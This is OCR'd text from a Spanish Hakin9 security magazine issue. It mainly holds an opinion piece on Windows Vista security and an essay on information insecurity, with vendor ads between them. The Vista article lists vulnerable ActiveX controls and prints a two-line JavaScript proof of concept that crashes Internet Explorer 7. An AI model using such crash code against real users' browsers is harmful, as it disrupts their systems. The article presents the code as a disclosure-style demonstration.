red una única salida a Internet , por lo<br />
que con los cambios tecnológicos y<br />
de infraestructura esta funcionalidad<br />
se está volviendo obsoleta, haciendo<br />
necesario que reflexionemos sobre<br />
buscar alternativas a sistemas que ya<br />
no dependan únicamente de un default<br />
gateway, si no que tengan la posibilidad<br />
de suplir esta necesidad, ya que las<br />
compañías requieren siempre estar en<br />
línea y no se permite tener excusa que<br />
por falla en los canales de comunicaciones<br />
la operación de la compañía se<br />
vea interrumpida. Siempre se debe<br />
tener presente que una falla puede<br />
ocurrir y se debe estar preparado en<br />
como solucionarla en el menor tiempo<br />
posible y con los mínimos recursos<br />
necesarios. l<br />
27
Seguridad en<br />
Windows Vista<br />
Oscar Martínez Pérez<br />
Vamos a ocuparnos de analizar sus sistemas<br />
de seguridad y el concepto que tiene<br />
este sistema operativo para asegurarnos<br />
que merece la pena actualizar nuestros ya viejos<br />
Windows XP. Windows Vista, centra su concepto<br />
de seguridad en cuatro pilares básicos, Windows<br />
defender, Copias de seguridad, Internet Explorer<br />
7 y Medios de control parental.<br />
Si entramos en el portal de Microsoft, podemos<br />
observar como en su definición de Windows<br />
defender, dicen hemos decidido ayudarte a<br />
eliminar algunas cosas con Windows defender.<br />
Cosas como elementos emergentes, spyware<br />
y otro software no deseado. Nos imaginamos<br />
que probablemente no lo echarías de menos.<br />
Nota Mental: Aprovecho para decir, que pensar<br />
en el usuario final, esta muy bien, y es muy<br />
loable, sin embargo, decidir a estas alturas<br />
como haciendo un favor a todos los usuarios<br />
que durante años han sufrido las carencias<br />
de seguridad de los sistemas operativos de<br />
Microsoft, que nos quieren ayudar, cuando el<br />
producto es de Microsoft, y las cifras multimillonarias<br />
de esta empresa hablan por si solas, me<br />
parece como profesional del gremio una falta<br />
de respeto. No hace falta que nos digan que<br />
sus sistemas operativos, han sido testeados<br />
28 www.<strong>hakin9</strong>.org/es<br />
El coloso Microsoft, que lanzó en<br />
Octubre del 2001 Windows XP,<br />
vuelve a la carga con una nueva<br />
versión, de su sistema operativo<br />
Windows, por el que ha recibido<br />
durante años, críticas y alabanzas<br />
de todo tipo. Según Microsoft<br />
con esta nueva apuesta, lanza<br />
un sistema operativo, mucho<br />
más sencillo y divertido, pero<br />
sobretodo seguro.<br />
por los usuarios, y profesionales que durante<br />
años hemos hecho de beta testers eso ya lo<br />
sabemos.<br />
Windows Defender<br />
Por todos es sabido, lo molesto que es el<br />
spyware, es por ello que Microsoft ha creado<br />
En este artículo aprenderás<br />
• El concepto de seguridad de Windows Vista.<br />
• Los secretos de seguridad del nuevo antispyware<br />
de Microsoft, Windows Defender.<br />
• Vulnerabilidad DoS (denial of service) en Internet<br />
Explorer . Como se puede colgar el nuevo<br />
navegador Internet Explorer 7 con tan solo 5<br />
lineas de código.<br />
Lo que deberías saber<br />
• Que es un ataque DoS: (denial of service):<br />
Ataque a un sistema de ordenadores o red que<br />
causa que un servicio o recurso sea inaccesible<br />
a los usuarios legítimos.<br />
• Que es un Fuzzer: Un fuzzer es un programa<br />
que intenta descubrir vulnerabilidades de seguridad.
Windows defender, una aplicación<br />
que no deja de ser un software antiespía<br />
actual, auto actualizable online,<br />
que detecta y elimina software<br />
o programas espía. La aplicación es<br />
gratuita y se puede descargar de:<br />
http://www.microsoft.com/athome/<br />
s e c u r i t y / s p y w a r e / s o f t w a r e /<br />
default.mspx.<br />
Actualmente el software está<br />
disponible únicamente en inglés,<br />
alemán y japonés, y para usarlo es<br />
necesario disponer de una copia<br />
legítima de Windows XP o 2003.Las<br />
traducciones a más idiomas se irán<br />
sucediendo posteriormente.<br />
Windows defender viene incluido<br />
en todas las versiones de Windows<br />
Vista. En la primera versión Beta 2<br />
de Windows Defender, se reportaron<br />
la friolera de 400 fallos detectados<br />
por unos 34 millones de personas<br />
que lo testearon (¿quien ayuda a<br />
quien? :-D). Microsoft asegura que<br />
en la versión final todos estos errores<br />
están solucionados.<br />
Según Gerhard Eschelbeck, Director<br />
de Tecnología y Vicepresidente<br />
de Webroot Software: Felicitamos<br />
a Microsoft por las notables mejoras<br />
y nuevas ventajas que ofrece Windows<br />
Vista. Sus distintas aplicaciones,<br />
la mejora de las funciones de red y<br />
del soporte gráfico le convierten en<br />
un sistema operativo sorprendente.<br />
Sin embargo, nos gustaría asegurarnos<br />
de que los usuarios son<br />
conscientes de las limitaciones de<br />
Windows Vista. Es nuestro deber<br />
prevenirles de que el sistema de<br />
protección de Microsoft contra virus<br />
y espías no protege al ordenador de<br />
forma completa.<br />
En las pruebas realizadas por<br />
los ingenieros de Webroot, Windows<br />
Defender, fue incapaz de bloquear el<br />
84% de las amenazas incluidas en<br />
una prueba con 15 de los elementos<br />
de spyware y malware más habituales.<br />
Además, en diversas pruebas<br />
Figura 1. Windows vista al descubierto<br />
realizadas por el mismo equipo de<br />
ingenieros de Webroot, Vista, fue<br />
incapaz de detectar diversas amenazas,<br />
como adware, programas<br />
potencialmente no deseados (Pups),<br />
monitores de sistema, espías de teclado<br />
(keylogers) y troyanos. Incluso,<br />
uno de los pups, que se analizó llego<br />
a instalarse con privilegios de administrador<br />
del sistema, para grabar las<br />
pulsaciones del teclado, y Windows<br />
Defender no detecto ni la instalación<br />
ni la ejecución del programa (http:<br />
//www.webroot.com/land/Windows-<br />
Vista-Ready.php?id=HOME-BO-<br />
TTOM-vista#dam_malware).<br />
En cuanto a las actualizaciones,<br />
parte importante de cualquier sistema<br />
de protección y detección de<br />
software malicioso, Windows defender<br />
lo realiza cada siete o diez días,<br />
valorando deficientemente el margen<br />
de tiempo durante el cual nuestro<br />
sistema sería potencialmente vulnerable<br />
contra amenazas de software<br />
malicioso. Vista no sólo es susceptible<br />
al ataque de software malicioso,<br />
también está expuesto frente a<br />
amenazas de virus, ya que en esta<br />
nueva versión sigue sin aparecer<br />
ninguna aplicación antivirus, con el<br />
valor añadido de que los usuarios de<br />
Microsoft Live OneCare (Aplicación<br />
no gratuita, que ofrece los servicios<br />
de, antivirus, cortafuegos, antiphishing,<br />
antispyware, herramientas<br />
administrativas y de mantenimiento,<br />
ayuda en línea y copias de seguridad<br />
automáticas ) pagarán 49,95€,<br />
para estar protegidos ante los virus<br />
y otras amenazas.<br />
De esta forma Microsoft<br />
vuelve a demostrar el afán desinteresado<br />
por ayudar a sus<br />
usuarios,¿Verdad?… todo un detalle<br />
(http://onecare.live.com/site/es-es/<br />
default.htm). Me gustaría recordar<br />
que por el mes de Noviembre del<br />
pasado 2006,para Live Onecare, un<br />
mail de Gmail era un virus.<br />
www.<strong>hakin9</strong>.org/es<br />
Windows Vista<br />
Increible, pero cierto…<br />
Hay dos formas de pensar en este<br />
asunto. Podemos pensar mal y llegar<br />
a la conclusión de que Microsoft,<br />
intentó una fase de competencia<br />
desleal hacia los servicios de mensajería<br />
electrónica que google ofrece.<br />
Por otro lado podemos pensar<br />
bien, y caer en la conclusión de que<br />
se trata de un fallo de programación<br />
del equipo de desarrollo de Windows<br />
live Onecare, pensamiento que sinceramente<br />
no resulta muy complejo.<br />
En cualquier caso, la realidad<br />
es que cuando teniendo activado el<br />
servicio de Windows Live Onecare,<br />
entrabamos a Gmail, desde nuestro<br />
navegador web, y al tratar de abrir un<br />
documento, Windows Live Oncare<br />
nos mostraba una ventana advirtiéndonos<br />
de que el documento que<br />
estabamos tratando de abrir estaba<br />
infectado por el virus BAT/BWG.A.<br />
Deseo confirmar que esto era un<br />
aviso de positivo falso y lo hemos<br />
arreglado (...) Investigaremos cómo<br />
sucedió este falso positivo y tomaremos<br />
las medidas para minimizar los<br />
riesgos de más incidentes, dijo Ziv<br />
Mador, portavoz y coordinador del<br />
equipo de AntiMalware de Microsoft.<br />
De cualquier modo, se sirvió la<br />
polémica, y los afectados finalmente,<br />
para variar, los usuarios, que en cierto<br />
momento no entendían si su sistema<br />
Gmail, estaba o no infectado.<br />
El nuevo navegador<br />
web de Microsoft el<br />
Internet Explorer,<br />
versión 7<br />
Posiblemente el cliente World Wide<br />
Web es más extendido y de mayor<br />
uso en el mundo. Ahora en todas<br />
Figura 2. Interface de información<br />
de detección de virus<br />
29
kit<br />
las versiones de Vista, va incluida<br />
la versión 7 de Internet Explorer.<br />
Internet Explorer 7, salio previo a<br />
Windows Vista, y comenzó francamente<br />
mal. Lo más característico de<br />
su debut, fue un fallo de seguridad,<br />
ya conocido en su antecesor Internet<br />
Explorer 6.<br />
Determina Security Research<br />
descubrió una vulnerabilidad DoS en<br />
multiples controles ActiveX incluidos<br />
en Microsoft Internet Explorer.<br />
Según confirma el Microsoft, esta<br />
vulnerabilidad no puede ser utilizada<br />
para la ejecución de código.<br />
Los controles ActiveX vulnerables,<br />
están disponibles por defecto<br />
en todas las versiones del Internet<br />
Explorer, en Windows 2000, XP y<br />
Vista, en versiones para sistemas<br />
operativos anteriores también son<br />
vulnerables, pero no tienen soporte,<br />
y por lo tanto no se publicarán actualizaciones.<br />
La vulnerabilidad fue detectada<br />
con un fuzzer al instanciar todos los<br />
controles ActiveX en el sistema y<br />
enumerar sus propiedades.<br />
Determina Security Research, descubrió<br />
que múltiples controles causan<br />
errores de excepción, cuando<br />
ciertas propiedades del objeto son<br />
accedidas a través de un programa<br />
en javascript.<br />
La mayoría de los controles ActiveX,<br />
vulnerables, se encuentran en<br />
Figura 3. Colgando Internet Explorer 7<br />
la librería MSHTML.DLL y pueden<br />
ser explotados en todas las versiones<br />
de Internet Explorer. Controles<br />
Vulnerables:<br />
• giffile,<br />
• htmlfile,<br />
• jpegfile,<br />
• mhtmlfile,<br />
• ODCfile,<br />
• pjpegfile,<br />
• pngfile,<br />
• xbmfile,<br />
• xmlfile,<br />
• xslfile,<br />
• wdpfile.<br />
Microsoft Internet Explorer 7, acepta<br />
de manera directa la tabla anterior<br />
mostrada de controles ActiveX,<br />
sin necesidad de solicitar la aceptación<br />
del usuario. Es por ello que<br />
el navegador incurre en un grave<br />
fallo de seguridad y estabilidad.<br />
Para que este tipo de ataque<br />
tenga éxito, el usuario, ha de ser<br />
convencido para que visite un sitio<br />
malicioso y preparado para ello.<br />
Sin embargo, en la actualidad los<br />
conocimientos de la gran mayoría<br />
de los internautas, sobre este tipo<br />
de efectos, son todavía insuficientes,<br />
estando gran parte de la comunidad<br />
de usuarios en peligro, siempre que<br />
existan este tipo de amenazas sin<br />
solventar.<br />
30 www.<strong>hakin9</strong>.org/es<br />
Figura 4. Aviso emergente UAC<br />
¿Queremos colgar el cliente web?<br />
Es muy sencillo y con un código<br />
muy simple.<br />
<br />
<br />
<br />
obj = new ActiveXObject("giffile");<br />
obj.bgColor;<br />
<br />
<br />
<br />
Y como una imagen vale más que mil<br />
palabras, probar vosotros mismos,<br />
podéis cargar la siguiente url, en vuestro<br />
navegador Internet Explorer 7 y<br />
podréis comprobar como instantáneamente<br />
este moderno y seguro navegador<br />
web responde satisfactoriamente<br />
a la vulnerabilidad que acabamos de<br />
DoS (denial of service)<br />
Ataque a un sistema de ordenadores<br />
o red que causa que un servicio o<br />
recurso sea inaccesible a los usuarios<br />
legítimos. Normalmente provoca la<br />
pérdida de la conectividad de la red por<br />
el consumo del ancho de banda de la<br />
red de la víctima o sobrecarga de los<br />
recursos computacionales del sistema<br />
de la víctima.<br />
Se genera mediante la saturación<br />
de los puertos con flujo de información,<br />
haciendo que el servidor se sobrecargue<br />
y no pueda seguir prestando servicios,<br />
por eso se le dice denegación,<br />
pues hace que el servidor no de abasto<br />
a la cantidad de usuarios.<br />
Spyware<br />
El spyware es un software que recopila<br />
información de un ordenador y después<br />
transmite esta información a una<br />
entidad externa sin el conocimiento o<br />
el consentimiento del propietario del<br />
ordenador.
estudiar (http://www.kriptopolis.org/<br />
docs/explorer.html). Más información<br />
en http://www.determina.com/<br />
security.research/vulnerabilities/<br />
activex-bgcolor.html.<br />
¿Qué conseguimos colgando el<br />
navegador? Realmente poca cosa,<br />
más que demostrar la fragilidad<br />
de un producto que lleva años en<br />
el mercado, y que es una de las<br />
características fundamentales que<br />
ha lanzado Microsoft, en todos sus<br />
sistemas operativos.<br />
Las empresas de creación de software<br />
deberían velar por la seguridad<br />
de sus sistemas, además de gastar e<br />
invertir mucho mas esfuerzo, para proteger<br />
a lo que no me cansaré de repetir,<br />
las verdaderas víctimas de estos fallos<br />
informáticos, los usuarios finales.<br />
Hoy en día, a la hora de presentar<br />
un nuevo sistema informático<br />
por alguna de las más poderosas<br />
empresas de software del mundo,<br />
es más probable, encontrarse ante<br />
un espectáculo hollywoodiense que<br />
un acontecimiento informático y profesional.<br />
Donde podemos ver a los<br />
principales responsables de estas<br />
empresas, dando saltos, y gritos,<br />
con una escenografía digna de cualquier<br />
obra de teatro además de unos<br />
efectos musicales y especiales que<br />
seguramente hacen las delicias de<br />
los más exigentes. Con todo esto sólo<br />
Fuzzer<br />
Un fuzzer es un programa que intenta<br />
descubrir vulnerabilidades de<br />
seguridad enviando una entrada<br />
arbitraria a una aplicación. Si el<br />
programa contiene una vulnerabilidad<br />
que puede conducir a una<br />
excepción, el choque o el error de<br />
servidor, como en el caso de aplicaciones<br />
web, puede ser determinado<br />
que una vulnerabilidad ha sido descubierta.<br />
ActiveX<br />
Lenguaje desarrollado por Microsoft<br />
para la elaboración de aplicaciones<br />
exportables a la red y capaces de operar<br />
sobre cualquier plataforma a través,<br />
normalmente, de navegadores WWW.<br />
trato de decir, que gastar verdaderas<br />
fortunas en campañas publicitarias<br />
tan exuberantes, mostrando al mundo<br />
un producto inédito y revolucionario,<br />
sería mucho más interesante, si las<br />
acompañaran y respaldaran con la<br />
conciencia que cualquier profesional<br />
debe de tener en mente al realizar su<br />
trabajo…. profesionalidad antes que<br />
mercadería.<br />
Si no teníamos suficiente con<br />
el Spam. Vista nos trae la nueva<br />
pesadilla emergente: UAC El User<br />
Account Control, mecanismo que<br />
intenta disminuir el efecto de código<br />
peligroso, sobre algunas ope-<br />
www.<strong>hakin9</strong>.org/es<br />
Windows Vista<br />
raciones de acceso a recursos del<br />
sistema. Mediante este concepto<br />
interactivo sistema usuario, esta tecnología<br />
solicitará eventualmente al<br />
usuario que proporcione y certifique<br />
sus credenciales para poder realizar<br />
determinadas acciones.<br />
Si hemos iniciado una sesión<br />
en el sistema como usuario sin privilegios<br />
administrativos, a la hora<br />
de realizar tareas que requieran la<br />
credencial de administrador del sistema,<br />
el UAC nos solicitará que nos<br />
identifiquemos con una cuenta que<br />
disponga de los privilegios administrativos<br />
necesarios para realizar la<br />
Tabla 1. Elementos de spyware y malware utilizadas por webroo<br />
Malware Variación<br />
AgentWinlogonHook Troyano<br />
Backdoor-Banwarum@mm Troyano<br />
Busky Troyano<br />
CashDeluxe Adware<br />
hacker defender Troyano<br />
LDPinch Troyano<br />
Loadcash.Biz Troyano<br />
Peper Trojan Troyano<br />
Playboy Dialer Adware<br />
Search-x-org Hijacker Adware<br />
SEPPBar Adware<br />
TrojanDropper-Agent-ED Troyano<br />
Update Notifier Fake Alert Adware<br />
Worm-Licat Gusano<br />
Zlob Troyano<br />
Figura 5. Interface control Parental Vista<br />
31
kit<br />
acción. Dicho así, no sólo suena, lógico,<br />
minucioso, e incluso tecnológicamente<br />
moderno, sino fuera que desde<br />
hace años, sistemas operativos Unix,<br />
distribuciones gnu/Linux, Mac OS, ya<br />
utilizan este concepto de seguridad<br />
para proteger el acceso a recursos de<br />
sistema. El problema más grave, y lo<br />
que realmente incomoda al usuario,<br />
es la frecuencia con que el UAC solicita<br />
al usuario que se identifique, llegando<br />
a interferir en el trabajo, terminando<br />
por ser un sistema más molesto que<br />
ventajoso. En las versiones Beta,<br />
el ímpetu del UAC era tan exageradamente<br />
espontáneo llegando a ser<br />
tan desquiciante, que Microsoft en la<br />
versión final a relajado su frecuencia<br />
de apariciones.<br />
Existe la posibilidad de que cualquier<br />
usuario pueda desactivar el UAC,<br />
pero lógicamente no sin exponer al<br />
sistema a que ciertos programas realicen<br />
cambios comprometiendo potencialmente<br />
su seguridad, privacidad y<br />
estabilidad.<br />
Control Parental<br />
Podemos controlar, desde límites horarios,<br />
lugares que se navegan, tipo<br />
de aplicaciones que se utilizan, hasta<br />
Figura 6. Interface Sistemas Backup Vista<br />
leer los logs de las conversaciones de<br />
Microsoft Messenger. Es interesante<br />
herramienta de control de usuarios,<br />
donde Microsoft piensa en un uso<br />
doméstico, para el control de los<br />
menores, por parte de sus padres o<br />
tutores. A nivel profesional, poco que<br />
decir, que se podría espiar o restringir<br />
la actividad de los usuarios, y recibir<br />
informes. Incluye un sencillo y práctico<br />
interface para configurar como administrador<br />
del equipo las características<br />
y restricciones que deseemos implementar<br />
para un usuario concreto.<br />
Sistema de copias<br />
de seguridad<br />
Anteriormente en Windows XP, se<br />
introdujo la posibilidad de restaurar<br />
el sistema a un estado anterior, sin<br />
perder información personal.<br />
Vista va más allá y ofrece una aplicación<br />
de copias de seguridad, en las<br />
versiones Home Premium, Business,<br />
Ultimate y Enterprise.<br />
La posibilidad de automatizar las<br />
copias de seguridad, nos evita, tener<br />
que recordar periódicamente realizar<br />
las copias de seguridad manualmente.<br />
Además en las versiones Business,<br />
Ultimate y Enterprise, podemos reali-<br />
32 www.<strong>hakin9</strong>.org/es<br />
Sobre el Autor<br />
Oscar Martinez Perez, Responsable<br />
Dpto. de Sistemas y Desarrollo de<br />
iTiDeaS Soluciones Informáticas<br />
(www.itideas.es), con mas de 10 años<br />
de experiencia como administrador de<br />
sistemas y seguridad informática.<br />
zar la restauración del sistema completo,<br />
si en algún momento tenemos el<br />
sistema corrupto.<br />
El interface es muy intuitivo, y el<br />
asistente nos ayudará paso a paso,<br />
haciendo que realizar y automatizar<br />
copias de seguridad sea una fácil<br />
tarea. Una apuesta importante por<br />
parte de Vista, en estos tiempos en<br />
los que hablar de Teras de información<br />
es ya un hecho. Cuando en<br />
diversas reuniones con colegas del<br />
gremio, se trata el tema del sistema<br />
más duramente criticado y vulnerable<br />
del planeta, siempre hablamos de la<br />
criatura del gigante informático de<br />
Redmond, Windows. Windows, es<br />
sin duda alguna el sistema operativo,<br />
instalado en el mayor porcentaje de<br />
equipos informáticos del mundo, la<br />
exposición por tanto de este sistema<br />
a vulnerabilidades, y errores, es<br />
mucho mayor, que la que tienen otros<br />
sistemas operativos, de no tan extendido<br />
uso. De todos modos, de nuevo<br />
Microsoft, vuelve a ofrecer un sistema<br />
operativo, con una durísima campaña<br />
de marketing comercial, haciéndonos<br />
creer que realmente estamos por fin<br />
ante el Cáliz de la informática.<br />
Finalmente comprobamos, que<br />
el sistema operativo sigue teniendo<br />
fallos que los usuarios vamos reportando.<br />
Vender un sistema como<br />
lo está haciendo Microsoft, con un<br />
concepto de seguridad tan elevado,<br />
no es más que la soberbia comercial<br />
a la que repito, la compañía de Bill<br />
Gates nos tiene acostumbrado y que<br />
dista mucho de la realidad.<br />
Agradecimientos<br />
A mis padres, que son mis imprescindibles<br />
aliados, a mi mujer<br />
Denise, la energía de mi esfuerzo,<br />
y a mi querido amigo y socio Elias<br />
Navarro. l
Club Pro<br />
flag<br />
solutions<br />
I-SEC<br />
Information Security Inc.<br />
Somos una empresa dedicada y comprometida<br />
integramente con la Seguridad de la Información.<br />
Nuestros Servicios se adaptan a la<br />
estructura de su empresa, recomendándole<br />
qué es lo mejor para su crecimiento.<br />
Contacto: www.i-sec.org<br />
Ártica Soluciones<br />
Tecnológicas<br />
Ártica es una empresa de consultoría de capital<br />
nacional formada por profesionales con experiencia<br />
en el mundo de las Tecnologías de<br />
Información. Nuestro ámbito de actuación está<br />
centrado en diversos sectores: industria,<br />
banca, proveedores de Internet, y telecomunicaciones.<br />
Contacto: http://www.artica.es<br />
Flag Solutions<br />
FLAG Solutions es una consultoría tecnológica<br />
que se apoya en 4 pilares básicos: la seguridad<br />
informática, la ingeniería de sistemas, el<br />
diseño corporativo y la formación especializada<br />
para empresas. Proporcionamos soluciones<br />
rentables tanto para la pequeña como para<br />
la gran empresa.<br />
Contacto: www.flagsolutions.net<br />
Ecija Consulting<br />
Somos una consultoría IT, líder en asesoramiento<br />
integral de empresas. Nuestro equipo<br />
formado por abogados, consultores y técnicos,<br />
nos ha permitido especializarnos en el campo<br />
de la seguridad informática, aportando a nuestras<br />
soluciones el valor añadido del conocimiento<br />
de la materia desde el punto de vista jurídico.<br />
Contacto: www.ecija.com, buzon@ecija.com<br />
Root-Secure<br />
Somos una consultoría con un alto nivel de conocimientos<br />
y experiencias en Information Security,<br />
una empresa joven pero con profesionales<br />
con una gran experiencia y reconocimiento<br />
en el mercado. Dedicados de manera exclusiva,<br />
a la Seguridad de la Información sin la visión<br />
de un producto o una marca que vender o<br />
defender, lo cual nos posiciona como una Empresa<br />
con prestigio.<br />
Contacto: www.root-secure.com<br />
Más información: es@<strong>hakin9</strong>.org, tel.: 00 34 917 610 987<br />
Suscripción anual + publicidad durante 12 meses<br />
Seguridad0<br />
Seguridad0 es una empresa española dedicada<br />
a la distribución de productos de seguridad<br />
informática y a la formación. Más información<br />
en su Web corporativa: www.seguridad0.es.<br />
Cuentan con una web dedicada a la<br />
divulgación de noticias de seguridad informática:<br />
http://www.seguridad0.com<br />
Kinetic Solutions<br />
Empresa especializada en implantación de soluciones<br />
de seguridad informática con valor agregado,<br />
brindamos servicios profesionales de protección<br />
y detección a intrusiones informáticas.<br />
Somos especialistas en diferentes materias de<br />
seguridad de la información para atender a nuestros<br />
clientes de organizaciones privadas y gubernamentales<br />
en España y Sudamérica.<br />
Contacto: info@kineticsl.com<br />
JPL TSOLUCIO, SL.<br />
Consultoría en seguridad informática y Tecnologías<br />
de la Información: LOPD, copias de seguridad<br />
(locales y en Internet), gestión avanzada<br />
virus & spam, recuperación ante desastres,<br />
planes de contingencia, redes seguras y monitorización<br />
de sistemas & servidores. Para empresas<br />
de cualquier tamaño. Consúltanos.<br />
Contacto: info@tsolucio.com,<br />
www.tsolucio.com<br />
S.P.W S.L.<br />
Soluciones de Seguridad<br />
Estamos especializados en ofrecer productos de<br />
fácil administración para el responsable de sistemas,<br />
nuestras areas mas definidas son firewalls<br />
Watchguard, unidades Anti-spam, asi como soluciones<br />
antivirus y de backup de Symantec.<br />
Puerto de Canencia, 15 Local 28038, Madrid<br />
Tel. 91 3339250, Fax. 91 3339251<br />
Contacto: spw@spw.es, www.spw.es<br />
Internet Security Auditors<br />
Desde el ano 2001 ofrecemos servicios de Auditoría,<br />
Consultoría y Formación en Seguridad<br />
en TI con un experto y reconocido equipo humano<br />
en hacking ético, seguridad web, outsourcing<br />
y normativas de seguridad. Hable con nosotros.<br />
Y si la seguridad es lo tuyo y te apasiona, contacta<br />
con nosotros.<br />
Contacto: www.isecauditors.com
Inseguridad de la<br />
información<br />
Armando Carvajal<br />
En Europa se utiliza con más frecuencia<br />
la expresión Fiabilidad informática.<br />
Un sistema de información se<br />
considera seguro si se encuentra libre de<br />
todo riesgo y daño, pero es imposible garantizar<br />
la seguridad o la inviolabilidad absoluta<br />
de un sistema informático, en el interesante<br />
libro (Moron Lerma, Esther, (2002), Internet<br />
y derecho penal: Hacking y otras conductas<br />
ilícitas en la red. Editorial Aranzadi S.A) se<br />
sugiere de preferencia utilizar el término fiabilidad.<br />
Que es seguridad informática?<br />
• un sistema de información se considera<br />
seguro si se encuentra libre de todo riesgo<br />
y daño.<br />
• es imposible garantizar la seguridad o<br />
la inviolabilidad absoluta de una sistema<br />
informática por ello es preferible utilizar el<br />
termino el termino fiabilidad.<br />
No se podrá entender la seguridad informática<br />
como un concepto cerrado consecuencia<br />
de la aplicación mecánica de una serie<br />
de métodos, sino como un proceso que<br />
se puede ver comprometido en cualquier<br />
momento de la forma menos sospechada,<br />
34 www.<strong>hakin9</strong>.org/es<br />
La inseguridad de la información<br />
es el reto del encargado de la<br />
seguridad de la información. Cada<br />
nueva vulnerabilidad, cada nueva<br />
falla identificada establece un<br />
reto, no solamente para reparar<br />
los daños y la falla, sino para<br />
comprender la mente del intruso,<br />
los elementos que intervienen en<br />
la falla e identificar la evidencia de<br />
los hechos materializados.<br />
La Seguridad Informática es un proceso<br />
continuo, donde la condición de los controles<br />
de la institución es apenas un indicador<br />
de su postura de seguridad. (FFIEC Information<br />
Security IT Examination Handbook,<br />
En este articulo aprenderás<br />
• Confidencialidad: Los recursos del sistema solo<br />
pueden ser accedidos por los elementos autorizados.<br />
• Integridad: Los recursos del sistema solo<br />
pueden ser modificados o alterados por los<br />
elementos autorizados.<br />
• Disponibilidad: Los recursos del sistema deben<br />
permanecer accesibles a los elementos autorizados.<br />
Lo que deberías saber<br />
• Seguridad de la información: En esencia la<br />
información es lo que mas nos importa proteger,<br />
porque es propio de la organización<br />
especifica, ya que sin duda alguna constituye<br />
uno de los mayores activos de cualquier<br />
organización.
Diciembre de 2002). La seguridad<br />
informática es una idea subjetiva<br />
(Schneier Bruce, Beyond Fear.<br />
Thinking Sensibly about security<br />
in an uncertain world. Copernicus<br />
Books. 2003), mientras la inseguridad<br />
informática es una idea<br />
objetiva, es por ello que no es<br />
fácil tener control absoluto sobre<br />
la seguridad informática, porque lo<br />
subjetivo es incierto, esto no ocurre<br />
con la inseguridad informática,<br />
que sabemos a ciencia cierta, que<br />
nos va a ocurrir si continuamos<br />
conviviendo irresponsablemente<br />
con las vulnerabilidades y los<br />
riesgos inherentes de nuestros<br />
sistemas informáticos<br />
¿Que es seguridad<br />
informática?<br />
• Seguridad informática es un<br />
proceso continuo, donde la<br />
condición de los controles de la<br />
institución es un indicador de su<br />
postura de seguridad.<br />
• La inseguridad es una propiedad<br />
inherente a los recursos informáticos,<br />
la gestión es la única forma<br />
de medirla y aminorarla.<br />
La idea del seguro de vida ayuda<br />
a explicar la naturaleza contradictoria<br />
de los conceptos seguridad e<br />
inseguridad informática, por ejemplo<br />
cuando compramos un seguro<br />
de vida estamos asegurando un<br />
bien subjetivo la vida, lo hacemos<br />
para garantizar que cuando ocurra<br />
el siniestro, es decir para cuando<br />
llegue la muerte, haya una indeminzación<br />
por la falta de los ingresos<br />
económicos que aportaba<br />
el asegurado cuando este estaba<br />
vivo. Notese que la muerte es<br />
Este término se usa con mucha frecuencia en Europa<br />
Que atacan?<br />
• Propieclades<br />
• _____________<br />
• Conficlencialidad<br />
• Integridad<br />
• Disponibilidad<br />
• Ataques<br />
• _____________<br />
• Modificacion:<br />
webdefacement<br />
• Fabricacion: Insertar<br />
nuevo usuario<br />
• Interceptacion: Key<br />
loggers<br />
• Interrupcion: Dos<br />
Figura 1. Características de un<br />
sistema seguro y los posibles<br />
ataques<br />
lo mas seguro en la vida, o ¿alguien<br />
tiene dudas de que algún<br />
día morirá?, por lo tanto lo mas<br />
seguro en la vida es la muerte.<br />
Entonces parece que hay un error<br />
en el nombre que le da la aseguradora<br />
a la póliza de seguros, se<br />
le llama generalmente Seguro de<br />
Vida cuando debería ser Seguro<br />
de Muerte, es interesante que en<br />
informática ocurra el mismo error:<br />
decimos Seguridad Informática<br />
cuando deberíamos decir Inseguridad<br />
Informática.<br />
La inseguridad informática es<br />
pues una estrategia de reflexión y<br />
acción para repensar la seguridad<br />
informática como una disciplina<br />
que es al mismo tiempo sentimiento<br />
y realidad. (http://www.acis.org.co/<br />
archivosAcis/Inseguridad.doc, Jeimy<br />
Cano, 2004).<br />
Propiedades<br />
de un sistema seguro<br />
Hay 3 variables o parámetros que<br />
determinan el estado de un sistema<br />
informático, estos son:<br />
• Confidencialidad: Los recursos<br />
del sistema solo pueden ser<br />
accedidos por los elementos<br />
autorizados<br />
Importante<br />
Por ello se deben destinar los recursos necesarios para su protección y uso en forma<br />
controlada ya que constituye su conocimiento, su diferenciador ante la competencia y<br />
los clientes, que finalmente determinan la continuidad del negocio.<br />
Por favor medite esta pregunta: ¿Tiene dudas sobre la existencia de vulnerabilidades<br />
y riesgos informáticos en su organización?<br />
www.<strong>hakin9</strong>.org/es<br />
35
kit<br />
• Integridad: Los recursos del<br />
sistema solo pueden ser modificados<br />
o alterados por los<br />
elementos autorizados<br />
• Disponibilidad: Los recursos<br />
del sistema deben permanecer<br />
accesibles a los elementos autorizados<br />
Tipos de ataques<br />
Modificación: También llamados<br />
webdefacement buscan comprometer<br />
la confidencialidad y la integridad<br />
del sistema, por ejemplo<br />
cuando un atacante modifica la<br />
página web de una organización<br />
sin previa autorización<br />
Propiedades de un sistema:<br />
• Confidencialidad: los recurso<br />
del sistema solo pueden ser<br />
accedidos por los elementos<br />
autorizados<br />
• Integridad: los recurso del<br />
sistema solo pueden ser modificados<br />
o alterados por los<br />
elementos autorizados<br />
• Disponibilidad: los recurso del<br />
sistema permanecer accesibles<br />
a los elementos autorizados<br />
Fabricación: comprometen la integridad<br />
del sistema por ejemplo<br />
al insertar un nuevo usuario en el<br />
HIGH<br />
LOW<br />
1980<br />
Password<br />
Guessing<br />
LOW<br />
Habilidades<br />
Requeridas<br />
Self-Replicating<br />
Code<br />
Password<br />
Cracking<br />
Sofisticacion del Ataque<br />
Figura 2. Ataques de los sistemas<br />
sistema operativo Interceptación:<br />
Busca comprometer la confidencialidad<br />
del sistema, un ejemplo<br />
son los key loggers o spyware y los<br />
Sniffers Interrupción:<br />
• Comprometen la propiedad Disponibilidad<br />
un ejemplo serian<br />
los ataques de denegación de<br />
servicios o DoS. Veamos una<br />
gráfica de que propiedades<br />
buscan los ataques y su clasificación:<br />
Grado de dificultad<br />
para realizar un ataque<br />
Hoy en día la mayoría de los ataques<br />
están automatizados en CDs<br />
auto ejecutables que son usados<br />
por los atacantes y a su vez por<br />
los auditores de seguridad para<br />
evaluar los sistemas evaluados.<br />
Estadísticamente se dice que a<br />
medida que pasan los años es más<br />
fácil hacer un ataque por que estos<br />
estarán cada vez mejor documentados<br />
y automatizados. Ver figura2:<br />
Exploiting Know<br />
Vulnerabilities<br />
36 www.<strong>hakin9</strong>.org/es<br />
1985<br />
Disabling<br />
A udits<br />
Importante<br />
